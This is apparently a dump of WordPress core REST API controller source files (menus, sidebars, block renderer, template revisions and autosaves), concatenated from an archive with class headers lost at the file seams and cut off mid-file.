do_action( "rest_insert_{$this->taxonomy}", $term, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $locations_update = $this->handle_locations( $term->term_id, $request ); if ( is_wp_error( $locations_update ) ) { return $locations_update; } $this->handle_auto_add( $term->term_id, $request ); $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'view' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true ); $response = $this->prepare_item_for_response( $term, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) ); return $response; } /** * Updates a single term from a taxonomy. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = get_term( (int) $request['parent'], $this->taxonomy ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); // Only update the term if we have something to update. if ( ! empty( $prepared_term ) ) { if ( ! isset( $prepared_term->{'menu-name'} ) ) { // wp_update_nav_menu_object() requires that the menu-name is always passed. $prepared_term->{'menu-name'} = $term->name; } $update = wp_update_nav_menu_object( $term->term_id, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $update ) ) { return $update; } } $term = get_term( $term->term_id, $this->taxonomy ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $locations_update = $this->handle_locations( $term->term_id, $request ); if ( is_wp_error( $locations_update ) ) { return $locations_update; } $this->handle_auto_add( $term->term_id, $request ); $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'view' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false ); $response = $this->prepare_item_for_response( $term, $request ); return rest_ensure_response( $response ); } /** * Deletes a single term from a taxonomy. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } // We don't support trashing for terms. if ( ! $request['force'] ) { /* translators: %s: force=true */ return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menus do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $request->set_param( 'context', 'view' ); $previous = $this->prepare_item_for_response( $term, $request ); $result = wp_delete_nav_menu( $term ); if ( ! $result || is_wp_error( $result ) ) { return new WP_Error( 'rest_cannot_delete', __( 'The menu cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request ); return $response; } /** * Returns the value of a menu's auto_add setting. * * @since 5.9.0 * * @param int $menu_id The menu id to query. * @return bool The value of auto_add. */ protected function get_menu_auto_add( $menu_id ) { $nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) ); return in_array( $menu_id, $nav_menu_option['auto_add'], true ); } /** * Updates the menu's auto add from a REST request. * * @since 5.9.0 * * @param int $menu_id The menu id to update. * @param WP_REST_Request $request Full details about the request. * @return bool True if the auto add setting was successfully updated. */ protected function handle_auto_add( $menu_id, $request ) { if ( ! isset( $request['auto_add'] ) ) { return true; } $nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) ); if ( ! isset( $nav_menu_option['auto_add'] ) ) { $nav_menu_option['auto_add'] = array(); } $auto_add = $request['auto_add']; $i = array_search( $menu_id, $nav_menu_option['auto_add'], true ); if ( $auto_add && false === $i ) { $nav_menu_option['auto_add'][] = $menu_id; } elseif ( ! $auto_add && false !== $i ) { array_splice( $nav_menu_option['auto_add'], $i, 1 ); } $update = update_option( 'nav_menu_options', $nav_menu_option ); /** This action is documented in wp-includes/nav-menu.php */ do_action( 'wp_update_nav_menu', $menu_id, array() ); return $update; } /** * Returns the names of the locations assigned to the menu. * * @since 5.9.0 * * @param int $menu_id The menu id. * @return string[] The locations assigned to the menu. */ protected function get_menu_locations( $menu_id ) { $locations = get_nav_menu_locations(); $menu_locations = array(); foreach ( $locations as $location => $assigned_menu_id ) { if ( $menu_id === $assigned_menu_id ) { $menu_locations[] = $location; } } return $menu_locations; } /** * Updates the menu's locations from a REST request. * * @since 5.9.0 * * @param int $menu_id The menu id to update. * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True on success, a WP_Error on an error updating any of the locations. */ protected function handle_locations( $menu_id, $request ) { if ( ! isset( $request['locations'] ) ) { return true; } $menu_locations = get_registered_nav_menus(); $menu_locations = array_keys( $menu_locations ); $new_locations = array(); foreach ( $request['locations'] as $location ) { if ( ! in_array( $location, $menu_locations, true ) ) { return new WP_Error( 'rest_invalid_menu_location', __( 'Invalid menu location.' ), array( 'status' => 400, 'location' => $location, ) ); } $new_locations[ $location ] = $menu_id; } $assigned_menu = get_nav_menu_locations(); foreach ( $assigned_menu as $location => $term_id ) { if ( $term_id === $menu_id ) { unset( $assigned_menu[ $location ] ); } } $new_assignments = array_merge( $assigned_menu, $new_locations ); set_theme_mod( 'nav_menu_locations', $new_assignments ); return true; } /** * Retrieves the term's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); unset( $schema['properties']['count'], $schema['properties']['link'], $schema['properties']['taxonomy'] ); $schema['properties']['locations'] = array( 'description' => __( 'The locations assigned to the menu.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'validate_callback' => static function ( $locations, $request, $param ) { $valid = rest_validate_request_arg( $locations, $request, $param ); if ( true !== $valid ) { return $valid; } $locations = rest_sanitize_request_arg( $locations, $request, $param ); foreach ( $locations as $location ) { if ( ! array_key_exists( $location, get_registered_nav_menus() ) ) { return new WP_Error( 'rest_invalid_menu_location', __( 'Invalid menu location.' ), array( 'location' => $location, ) ); } } return true; }, ), ); $schema['properties']['auto_add'] = array( 'description' => __( 'Whether to automatically add top level pages to this menu.' ), 'context' => array( 'view', 'edit' ), 'type' => 'boolean', ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } PK!0j*>>%class-wp-rest-sidebars-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'sidebars'; } /** * Registers the controllers routes. * * @since 5.8.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'The id of a registered sidebar' ), 'type' => 'string', ), 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get sidebars. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $this->retrieve_widgets(); foreach ( wp_get_sidebars_widgets() as $id => $widgets ) { $sidebar = $this->get_sidebar( $id ); if ( ! $sidebar ) { continue; } if ( $this->check_read_permission( $sidebar ) ) { return true; } } return $this->do_permissions_check(); } /** * Retrieves the list of sidebars (active or inactive). * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $this->retrieve_widgets(); $data = array(); $permissions_check = $this->do_permissions_check(); foreach ( wp_get_sidebars_widgets() as $id => $widgets ) { $sidebar = $this->get_sidebar( $id ); if ( ! $sidebar ) { continue; } if ( is_wp_error( $permissions_check ) && ! $this->check_read_permission( $sidebar ) ) { continue; } $data[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $sidebar, $request ) ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to get a single sidebar. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $this->retrieve_widgets(); $sidebar = $this->get_sidebar( $request['id'] ); if ( $sidebar && $this->check_read_permission( $sidebar ) ) { return true; } return $this->do_permissions_check(); } /** * Checks if a sidebar can be read publicly. * * @since 5.9.0 * * @param array $sidebar The registered sidebar configuration. * @return bool Whether the side can be read. */ protected function check_read_permission( $sidebar ) { return ! empty( $sidebar['show_in_rest'] ); } /** * Retrieves one sidebar from the collection. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $this->retrieve_widgets(); $sidebar = $this->get_sidebar( $request['id'] ); if ( ! $sidebar ) { return new WP_Error( 'rest_sidebar_not_found', __( 'No sidebar exists with that id.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( $sidebar, $request ); } /** * Checks if a given request has access to update sidebars. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return $this->do_permissions_check(); } /** * Updates a sidebar. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { if ( isset( $request['widgets'] ) ) { $sidebars = wp_get_sidebars_widgets(); foreach ( $sidebars as $sidebar_id => $widgets ) { foreach ( $widgets as $i => $widget_id ) { // This automatically removes the passed widget IDs from any other sidebars in use. if ( $sidebar_id !== $request['id'] && in_array( $widget_id, $request['widgets'], true ) ) { unset( $sidebars[ $sidebar_id ][ $i ] ); } // This automatically removes omitted widget IDs to the inactive sidebar. if ( $sidebar_id === $request['id'] && ! in_array( $widget_id, $request['widgets'], true ) ) { $sidebars['wp_inactive_widgets'][] = $widget_id; } } } $sidebars[ $request['id'] ] = $request['widgets']; wp_set_sidebars_widgets( $sidebars ); } $request['context'] = 'edit'; $sidebar = $this->get_sidebar( $request['id'] ); /** * Fires after a sidebar is updated via the REST API. * * @since 5.8.0 * * @param array $sidebar The updated sidebar. * @param WP_REST_Request $request Request object. */ do_action( 'rest_save_sidebar', $sidebar, $request ); return $this->prepare_item_for_response( $sidebar, $request ); } /** * Checks if the user has permissions to make the request. * * @since 5.8.0 * * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ protected function do_permissions_check() { /* * Verify if the current user has edit_theme_options capability. * This capability is required to access the widgets screen. */ if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_widgets', __( 'Sorry, you are not allowed to manage widgets on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves the registered sidebar with the given id. * * @since 5.8.0 * * @param string|int $id ID of the sidebar. * @return array|null The discovered sidebar, or null if it is not registered. */ protected function get_sidebar( $id ) { return wp_get_sidebar( $id ); } /** * Looks for "lost" widgets once per request. * * @since 5.9.0 * * @see retrieve_widgets() */ protected function retrieve_widgets() { if ( ! $this->widgets_retrieved ) { retrieve_widgets(); $this->widgets_retrieved = true; } } /** * Prepares a single sidebar output for response. * * @since 5.8.0 * @since 5.9.0 Renamed `$raw_sidebar` to `$item` to match parent class for PHP 8 named parameter support. * * @global array $wp_registered_sidebars The registered sidebars. * @global array $wp_registered_widgets The registered widgets. * * @param array $item Sidebar instance. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Prepared response object. */ public function prepare_item_for_response( $item, $request ) { global $wp_registered_sidebars, $wp_registered_widgets; // Restores the more descriptive, specific name for use within this method. $raw_sidebar = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php */ return apply_filters( 'rest_prepare_sidebar', new WP_REST_Response( array() ), $raw_sidebar, $request ); } $id = $raw_sidebar['id']; $sidebar = array( 'id' => $id ); if ( isset( $wp_registered_sidebars[ $id ] ) ) { $registered_sidebar = $wp_registered_sidebars[ $id ]; $sidebar['status'] = 'active'; $sidebar['name'] = $registered_sidebar['name'] ?? ''; $sidebar['description'] = isset( $registered_sidebar['description'] ) ? wp_sidebar_description( $id ) : ''; $sidebar['class'] = $registered_sidebar['class'] ?? ''; $sidebar['before_widget'] = $registered_sidebar['before_widget'] ?? ''; $sidebar['after_widget'] = $registered_sidebar['after_widget'] ?? ''; $sidebar['before_title'] = $registered_sidebar['before_title'] ?? ''; $sidebar['after_title'] = $registered_sidebar['after_title'] ?? ''; } else { $sidebar['status'] = 'inactive'; $sidebar['name'] = $raw_sidebar['name']; $sidebar['description'] = ''; $sidebar['class'] = ''; } if ( wp_is_block_theme() ) { $sidebar['status'] = 'inactive'; } $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( 'widgets', $fields ) ) { $sidebars = wp_get_sidebars_widgets(); $widgets = array_filter( $sidebars[ $sidebar['id'] ] ?? array(), static function ( $widget_id ) use ( $wp_registered_widgets ) { return isset( $wp_registered_widgets[ $widget_id ] ); } ); $sidebar['widgets'] = array_values( $widgets ); } $schema = $this->get_item_schema(); $data = array(); foreach ( $schema['properties'] as $property_id => $property ) { if ( isset( $sidebar[ $property_id ] ) && true === rest_validate_value_from_schema( $sidebar[ $property_id ], $property ) ) { $data[ $property_id ] = $sidebar[ $property_id ]; } elseif ( isset( $property['default'] ) ) { $data[ $property_id ] = $property['default']; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $sidebar ) ); } /** * Filters the REST API response for a sidebar. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param array $raw_sidebar The raw sidebar data. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_sidebar', $response, $raw_sidebar, $request ); } /** * Prepares links for the sidebar. * * @since 5.8.0 * * @param array $sidebar Sidebar. * @return array Links for the given widget. */ protected function prepare_links( $sidebar ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $sidebar['id'] ) ), ), 'https://api.w.org/widget' => array( 'href' => add_query_arg( 'sidebar', $sidebar['id'], rest_url( '/wp/v2/widgets' ) ), 'embeddable' => true, ), ); } /** * Retrieves the block type' schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'sidebar', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'ID of sidebar.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'Unique name identifying the sidebar.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of sidebar.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'class' => array( 'description' => __( 'Extra CSS class to assign to the sidebar in the Widgets interface.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'before_widget' => array( 'description' => __( 'HTML content to prepend to each widget\'s HTML output when assigned to this sidebar. Default is an opening list item element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'after_widget' => array( 'description' => __( 'HTML content to append to each widget\'s HTML output when assigned to this sidebar. Default is a closing list item element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'before_title' => array( 'description' => __( 'HTML content to prepend to the sidebar title when displayed. Default is an opening h2 element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'after_title' => array( 'description' => __( 'HTML content to append to the sidebar title when displayed. Default is a closing h2 element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'status' => array( 'description' => __( 'Status of sidebar.' ), 'type' => 'string', 'enum' => array( 'active', 'inactive' ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'widgets' => array( 'description' => __( 'Nested widgets.' ), 'type' => 'array', 'items' => array( 'type' => array( 'object', 'string' ), ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } PK!_+class-wp-rest-block-renderer-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'block-renderer'; } /** * Registers the necessary REST API routes, one for each dynamic block. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-z0-9-]+/[a-z0-9-]+)', array( 'args' => array( 'name' => array( 'description' => __( 'Unique registered name for the block.' ), 'type' => 'string', ), ), array( 'methods' => array( WP_REST_Server::READABLE, WP_REST_Server::CREATABLE ), 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'attributes' => array( 'description' => __( 'Attributes for the block.' ), 'type' => 'object', 'default' => array(), 'validate_callback' => static function ( $value, $request ) { $block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] ); if ( ! $block ) { // This will get rejected in ::get_item(). return true; } $schema = array( 'type' => 'object', 'properties' => $block->get_attributes(), 'additionalProperties' => false, ); return rest_validate_value_from_schema( $value, $schema ); }, 'sanitize_callback' => static function ( $value, $request ) { $block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] ); if ( ! $block ) { // This will get rejected in ::get_item(). return true; } $schema = array( 'type' => 'object', 'properties' => $block->get_attributes(), 'additionalProperties' => false, ); return rest_sanitize_value_from_schema( $value, $schema ); }, ), 'post_id' => array( 'description' => __( 'ID of the post context.' ), 'type' => 'integer', ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read blocks. * * @since 5.0.0 * * @global WP_Post $post Global post object. * * @param WP_REST_Request $request Request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { global $post; $post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0; if ( $post_id > 0 ) { $post = get_post( $post_id ); if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) { return new WP_Error( 'block_cannot_read', __( 'Sorry, you are not allowed to read blocks of this post.' ), array( 'status' => rest_authorization_required_code(), ) ); } } else { if ( ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'block_cannot_read', __( 'Sorry, you are not allowed to read blocks as this user.' ), array( 'status' => rest_authorization_required_code(), ) ); } } return true; } /** * Returns block output from block's registered render_callback. * * @since 5.0.0 * * @global WP_Post $post Global post object. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { global $post; $post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0; if ( $post_id > 0 ) { $post = get_post( $post_id ); // Set up postdata since this will be needed if post_id was set. setup_postdata( $post ); } $registry = WP_Block_Type_Registry::get_instance(); $registered = $registry->get_registered( $request['name'] ); if ( null === $registered || ! $registered->is_dynamic() ) { return new WP_Error( 'block_invalid', __( 'Invalid block.' ), array( 'status' => 404, ) ); } $attributes = $request->get_param( 'attributes' ); // Create an array representation simulating the output of parse_blocks. $block = array( 'blockName' => $request['name'], 'attrs' => $attributes, 'innerBlocks' => array(), 'innerHTML' => '', 'innerContent' => array(), ); // Render using render_block to ensure all relevant filters are used. $data = array( 'rendered' => render_block( $block ), ); return rest_ensure_response( $data ); } /** * Retrieves block's output schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->schema; } $this->schema = array( '$schema' => 'http://json-schema.org/schema#', 'title' => 'rendered-block', 'type' => 'object', 'properties' => array( 'rendered' => array( 'description' => __( 'The rendered block.' ), 'type' => 'string', 'required' => true, 'context' => array( 'edit' ), ), ), ); return $this->schema; } } PK!S+""/class-wp-rest-template-revisions-controller.phpnu[parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Templates_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $this->rest_base = 'revisions'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the routes for revisions based on post types supporting revisions. * * @since 6.4.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base ), array( 'args' => array( 'parent' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base, '(?P[\d]+)' ), array( 'args' => array( 'parent' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), 'id' => array( 'description' => __( 'Unique identifier for the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as revisions do not support trashing.' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Gets the parent post, if the template ID is valid. * * @since 6.4.0 * * @param string $parent_template_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_template_id ) { $template = get_block_template( $parent_template_id, $this->parent_post_type ); if ( ! $template ) { return new WP_Error( 'rest_post_invalid_parent', __( 'Invalid template parent ID.' ), array( 'status' => WP_Http::NOT_FOUND ) ); } $parent_post_id = isset( $template->wp_id ) ? (int) $template->wp_id : 0; if ( $parent_post_id <= 0 ) { return new WP_Error( 'rest_invalid_template', __( 'Templates based on theme files can\'t have revisions.' ), array( 'status' => WP_Http::BAD_REQUEST ) ); } return get_post( $template->wp_id ); } /** * Prepares the item for the REST response. * * @since 6.4.0 * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $template = _build_block_template_result_from_post( $item ); $response = $this->parent_controller->prepare_item_for_response( $template, $request ); // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { return $response; } $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $item->post_parent; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = new WP_REST_Response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $template ); $response->add_links( $links ); } return $response; } /** * Checks if a given request has access to delete a revision. * * @since 6.4.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'delete_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this revision.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares links for the request. * * @since 6.4.0 * * @param WP_Block_Template $template Template. * @return array Links for the given post. */ protected function prepare_links( $template ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ), ), 'parent' => array( 'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ), ), ); return $links; } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 6.4.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = $this->parent_controller->get_item_schema(); $schema['properties']['parent'] = array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } PK! /class-wp-rest-template-autosaves-controller.phpnu[parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Templates_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $revisions_controller = $post_type_object->get_revisions_rest_controller(); if ( ! $revisions_controller ) { $revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type ); } $this->revisions_controller = $revisions_controller; $this->rest_base = 'autosaves'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the routes for autosaves. * * @since 6.4.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base ), array( 'args' => array( 'id' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), 